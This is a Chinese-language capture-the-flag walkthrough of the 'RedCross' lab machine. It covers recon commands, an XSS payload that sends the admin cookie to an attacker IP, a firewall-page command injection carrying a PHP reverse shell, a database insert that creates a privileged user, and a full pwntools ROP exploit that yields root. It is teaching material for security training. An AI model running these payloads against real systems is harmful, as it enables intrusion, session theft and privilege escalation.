RedCross 渗透测试教学文档

1. 信息收集

1.1 目标识别

IP地址: 10.10.10.113
开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
- 443/tcp (HTTPS)

1.2 主机发现与端口扫描

ip='10.10.10.113'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
    nmap -Pn -sV -sC -p "$ports" "$ip";
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
  fi;
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

1.3 服务识别

SSH: OpenSSH 7.9p1 Debian 10+deb10u3
HTTP/HTTPS: Apache httpd 2.4.38
SSL证书信息:
- 域名: intra.redcross.htb
- 组织: Red Cross International
- 位置: NY, US

1.4 域名解析

echo '10.10.10.113 redcross.htb intra.redcross.htb' >> /etc/hosts

1.5 目录爆破

feroxbuster -u 'https://intra.redcross.htb' -k -C 404
feroxbuster -u 'https://intra.redcross.htb/documentation/' -k -C 404 -x php,txt,pdf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

1.6 子域名枚举

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u https://10.10.10.113 -H "Host: FUZZ.redcross.htb" --hw 28 --hc 400

2. XSS漏洞利用

2.1 发现点

文档: https://intra.redcross.htb/documentation/account-signup.pdf
可利用字段: username

2.2 攻击向量

POST /pages/actions.php HTTP/1.1
Host: intra.redcross.htb
Cookie: PHPSESSID=u5mo0rjic5vjv752lae9qduub3
Content-Length: 155
Content-Type: application/x-www-form-urlencoded

subject=credentials&body=username%3DDetails&cback=<script>new+Image().src%3d"http%3a//10.10.16.33%3a82/got%3d"%2bdocument.cookie%3b</script>&action=contact

2.3 管理员面板

访问: https://admin.redcross.htb/?page=cpanel

3. 防火墙RCE漏洞

3.1 发现点

防火墙管理页面: https://admin.redcross.htb/?page=firewall

3.2 用户添加功能

添加SSH用户: https://admin.redcross.htb/?page=users
测试凭证: test : k5uGwPaK (权限较低)

3.3 命令注入漏洞

当禁用规则时存在RCE漏洞:

POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
Cookie: PHPSESSID=g0vpliee933eslc03sltd7s1p7
Content-Type: application/x-www-form-urlencoded

ip=1.1.1.1;ping+-c+1+10.10.16.33&action=deny

3.4 反弹Shell

POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
Cookie: PHPSESSID=g0vpliee933eslc03sltd7s1p7
Content-Type: application/x-www-form-urlencoded

ip=1.1.1.1;php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.16.33%22%2C443%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27&action=deny

3.5 数据库访问

发现数据库凭证:
- user=unixusrmgr
- password=dheu%7wjx8B&

psql -h 127.0.0.1 -U unixusrmgr unix

3.6 添加高权限用户

select * from passwd_table;

-- 生成新密码
openssl passwd -1 123

-- 添加用户
INSERT INTO passwd_table (username, passwd, gid, homedir) 
values ('maptnh', '$1$sriO.OSP$ZzSnXiWnmA1ponuvRLeJ31', 27, '/home/penelope');

3.7 获取User Flag

420ad9e24cfb4175d4b045f7541a48ee

4. 权限提升 (BOF-ROP && SETUID && PLT)

4.1 目标二进制分析

scp maptnh@10.10.10.113:/opt/iptctl/iptctl /tmp
gdb -q ./iptctl

4.2 安全检查

CANARY    : disabled → 可能存在栈溢出
FORTIFY   : disabled → 缺少内存保护
NX        : ENABLED  → 需要ROP绕过
PIE       : disabled → 地址固定
RELRO     : Partial → GOT表部分可写

4.3 触发崩溃

gdb-peda$ r -i
Action(allow|restrict|show): allowAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
IP address: 1.1.1.1

4.4 计算偏移

gdb-peda$ pattern_offset A;AA

4.5 ROP链构造

目标: 执行 execvp("sh", NULL) 获取shell
需要控制参数:
- pop rdi ; ret (0x400de3)
- pop rsi ; pop r15 ; ret (0x400de1)
字符串地址:
- "sh" 位于 0x40046e
函数地址:
- execvp@plt: 0x400760
- setuid@plt: 0x400780

4.6 完整Payload

from pwn import *

execvp = p64(0x400760)  # execvp@plt
setuid = p64(0x400780)  # setuid@plt
pop_rdi = p64(0x400de3) # pop rdi; ret
pop_rsi = p64(0x400de1) # pop rsi; pop r15; ret
sh_str = p64(0x40046e)  # "sh" 地址

payload = b"allow" + b"A" * 29
payload += pop_rdi + p64(0) + setuid      # setuid(0)
payload += pop_rdi + sh_str               # "sh"
payload += pop_rsi + p64(0) + p64(0) + execvp  # execvp("sh", NULL)
payload += b"\n1.1.1.1\n"

log.info("Attempting to connect")
try:
    p = remote("10.10.10.113", 9001)
except pwnlib.exception.PwnlibException:
    log.warn("Could not connect to target")
    log.warn('Is socat running on target?')
    log.warn('TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i" running?')
    exit()

p.sendline(payload)
p.interactive()

4.7 靶机设置

socat TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i"

4.8 获取Root Flag

c8bd954d247b0d4888b87744ffb3726a

5. 总结

通过XSS获取管理员cookie访问管理面板
利用防火墙管理页面的命令注入漏洞获取初始shell
通过数据库添加高权限用户
利用二进制程序的缓冲区溢出漏洞构造ROP链实现权限提升
关键点:
- 信息收集要全面
- 注意子域名枚举
- 利用所有可能的输入点
- 二进制分析要仔细检查安全机制
- ROP构造要考虑参数传递和函数调用约定